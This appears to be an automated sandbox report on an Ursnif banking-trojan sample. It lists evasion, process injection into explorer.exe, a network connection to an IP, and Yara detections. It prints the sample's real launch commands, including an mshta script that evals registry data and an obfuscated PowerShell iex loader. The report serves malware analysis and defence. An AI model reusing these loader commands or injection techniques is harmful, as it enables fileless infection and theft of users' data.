Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Uses ping.exe to sleep
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4004 Thread sleep time: -7378697629483816s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5785 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2355 Jump to behavior
Found evasive API chain checking for process token information
Source: C:\Windows\SysWOW64\rundll32.exe Check user administrative privileges: GetTokenInformation,DecisionNodes
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\pyir2nwc\pyir2nwc.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\vx43imot\vx43imot.dll Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008EFD47 wcscpy,wcscpy,GetLogicalDriveStringsW,GetLogicalDriveStringsW,RtlAllocateHeap,memset,GetLogicalDriveStringsW,WaitForSingleObject,GetDriveTypeW,lstrlenW,wcscpy,lstrlenW,HeapFree, 4_2_008EFD47
Source: mshta.exe, 00000011.00000003.496398794.000001B1A0BA4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b8b}\b
Source: explorer.exe, 0000001B.00000000.574335319.0000000007FBD000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000001B.00000000.574335319.0000000007FBD000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}d
Source: explorer.exe, 0000001B.00000000.587271714.000000000807C000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware SATA CD00
Source: RuntimeBroker.exe, 00000020.00000000.813259722.000002BFD4858000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000001B.00000000.587271714.000000000807C000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000I
Source: rundll32.exe, 00000004.00000002.600414567.0000000000B43000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.600473682.0000000000B5E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.484939842.0000000000B5E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: explorer.exe, 0000001B.00000000.587271714.000000000807C000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: explorer.exe, 0000001B.00000000.563226300.00000000042EE000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}q^
Source: explorer.exe, 0000001B.00000000.608751295.00000000042A0000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000O
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008E99BC lstrlenW,FindFirstFileW,lstrlenW,RemoveDirectoryW,DeleteFileW,FindNextFileW,GetLastError, 4_2_008E99BC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008FBAD1 lstrlenW,lstrlenW,lstrlenW,memset,FindFirstFileW,lstrlenW,lstrlenW,memset,wcscpy,PathFindFileNameW,RtlEnterCriticalSection,RtlLeaveCriticalSection,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,FindFirstFileW,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose, 4_2_008FBAD1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008E65C2 FindFirstFileW,lstrlenW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrcpyW,FindNextFileW,FindClose,FreeLibrary, 4_2_008E65C2
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008EEC00 RegOpenKeyA,LoadLibraryA,GetProcAddress,GetLastError,FreeLibrary,GetLastError,RegCloseKey, 4_2_008EEC00
Checks if the current process is being debugged
Source: C:\Windows\System32\loaddll32.exe Process queried: DebugPort Jump to behavior
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008E8FEC StrRChrA,_strupr,lstrlen,CreateEventA,RtlAddVectoredExceptionHandler,GetLastError,RtlRemoveVectoredExceptionHandler, 4_2_008E8FEC

HIPS / PFW / Operating System Protection Evasion
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 94.140.115.8 80 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Windows\SysWOW64\rundll32.exe Section loaded: unknown target: C:\Windows\System32\control.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\System32\control.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Allocates memory in foreign processes
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: C:\Windows\System32\control.exe base: AA0000 protect: page execute and read and write Jump to behavior
Source: C:\Windows\System32\control.exe Memory allocated: C:\Windows\explorer.exe base: 2890000 protect: page execute and read and write Jump to behavior
Creates a thread in another existing process (thread injection)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread created: C:\Windows\explorer.exe EIP: 424A1580 Jump to behavior
Source: C:\Windows\System32\control.exe Thread created: C:\Windows\explorer.exe EIP: 424A1580 Jump to behavior
Source: C:\Windows\explorer.exe Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: 424A1580 Jump to behavior
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\rundll32.exe Memory written: C:\Windows\System32\control.exe base: 7FF772CE12E0 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory written: C:\Windows\System32\control.exe base: AA0000 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory written: C:\Windows\System32\control.exe base: 7FF772CE12E0 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: 40A000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: 7FFF424A1580 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: 2700000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: 7FFF424A1580 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\explorer.exe base: 400000 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\explorer.exe base: 7FFF424A1580 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\explorer.exe base: 2890000 Jump to behavior
Changes memory attributes in foreign processes to executable or writable
Source: C:\Windows\System32\control.exe Memory protected: C:\Windows\explorer.exe base: 7FFF424A1580 protect: page execute and read and write Jump to behavior
Source: C:\Windows\System32\control.exe Memory protected: C:\Windows\explorer.exe base: 7FFF424A1580 protect: page execute and read and write Jump to behavior
Source: C:\Windows\System32\control.exe Memory protected: C:\Windows\explorer.exe base: 7FFF424A1580 protect: page execute and read and write Jump to behavior
Source: C:\Windows\System32\control.exe Memory protected: C:\Windows\explorer.exe base: 7FFF424A1580 protect: page execute and read and write Jump to behavior
Injects code into the Windows Explorer (explorer.exe)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3688 base: 40A000 value: 00 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3688 base: 7FFF424A1580 value: EB Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3688 base: 2700000 value: 80 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3688 base: 7FFF424A1580 value: 40 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: PID: 3688 base: 400000 value: 00 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: PID: 3688 base: 7FFF424A1580 value: EB Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: PID: 3688 base: 2890000 value: 80 Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Windows\SysWOW64\rundll32.exe Thread register set: target process: 5008 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread register set: target process: 3688 Jump to behavior
Source: C:\Windows\System32\control.exe Thread register set: target process: 3688 Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: unknown Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe" "about:<hta:application><script>Dgvy='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Dgvy).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jehbycm -value gp; new-alias -name tyfittgwsr -value iex; tyfittgwsr ([System.Text.Encoding]::ASCII.GetString((jehbycm "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn))
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jehbycm -value gp; new-alias -name tyfittgwsr -value iex; tyfittgwsr ([System.Text.Encoding]::ASCII.GetString((jehbycm "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\626a97fea05c8.pdf.dll",#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jehbycm -value gp; new-alias -name tyfittgwsr -value iex; tyfittgwsr ([System.Text.Encoding]::ASCII.GetString((jehbycm "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\pyir2nwc\pyir2nwc.cmdline Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vx43imot\vx43imot.cmdline Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4ECA.tmp" "c:\Users\user\AppData\Local\Temp\pyir2nwc\CSC3492E89F885A4D28ABE1C8363667B7D.TMP" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6B2B.tmp" "c:\Users\user\AppData\Local\Temp\vx43imot\CSCE0D7D73128344F6AB96E56EC2E032.TMP" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5 Jump to behavior
Source: explorer.exe, 0000001B.00000000.605882278.000000000081C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001B.00000000.613116153.00000000058B0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000000.558725783.000000000081C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000001B.00000000.558386775.0000000000778000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001B.00000000.584316532.0000000000778000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001B.00000000.585179509.0000000000D70000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progman
Source: explorer.exe, 0000001B.00000000.585179509.0000000000D70000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000001B.00000000.573585959.0000000000D70000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000001B.00000000.560028015.0000000000D70000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progmanlock
Source: explorer.exe, 0000001B.00000000.585179509.0000000000D70000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000001B.00000000.573585959.0000000000D70000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000001B.00000000.560028015.0000000000D70000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: }Program Manager
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Contains functionality to query CPU information (cpuid)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_00EF3365 cpuid 4_2_00EF3365
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_00EF76BB GetSystemTimeAsFileTime,_aulldiv,_snwprintf,CreateFileMappingW,GetLastError,GetLastError,MapViewOfFile,GetLastError,CloseHandle,GetLastError, 4_2_00EF76BB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_00EF3365 RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree, 4_2_00EF3365
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008F81F1 CreateNamedPipeA,GetLastError,CloseHandle,GetLastError, 4_2_008F81F1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_00EF6D78 CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError, 4_2_00EF6D78

Stealing of Sensitive Information
barindex
Yara detected Ursnif
Source: Yara match File source: 00000004.00000003.424373972.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424240322.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.530255853.0000000005CA8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.475301685.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000003.571518194.00000182D98EC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424606218.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000003.545160730.00000267B3B1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.472906954.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000003.545084241.00000267B3B1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424163423.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424658030.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424644302.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424536633.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.476686328.0000000004CCC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424457867.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 3340, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6636, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 5008, type: MEMORYSTR
Source: Yara match File source: 4.2.rundll32.exe.ef0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.rundll32.exe.48e94a0.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.rundll32.exe.48e94a0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.rundll32.exe.4dca4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.rundll32.exe.4dca4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.rundll32.exe.4e76b40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.rundll32.exe.4e494a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000004.00000002.601015727.0000000004B4F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000000.543939686.00000000009F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.599055996.00000000048E9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000000.542346452.00000000009F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.599465657.00000000008E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.475223060.0000000004DCA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000000.544562349.00000000009F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.475254135.0000000004E49000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality
barindex
Yara detected Ursnif
Source: Yara match File source: 00000004.00000003.424373972.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424240322.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.530255853.0000000005CA8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.475301685.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000003.571518194.00000182D98EC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424606218.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000003.545160730.00000267B3B1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.472906954.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000003.545084241.00000267B3B1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424163423.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424658030.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
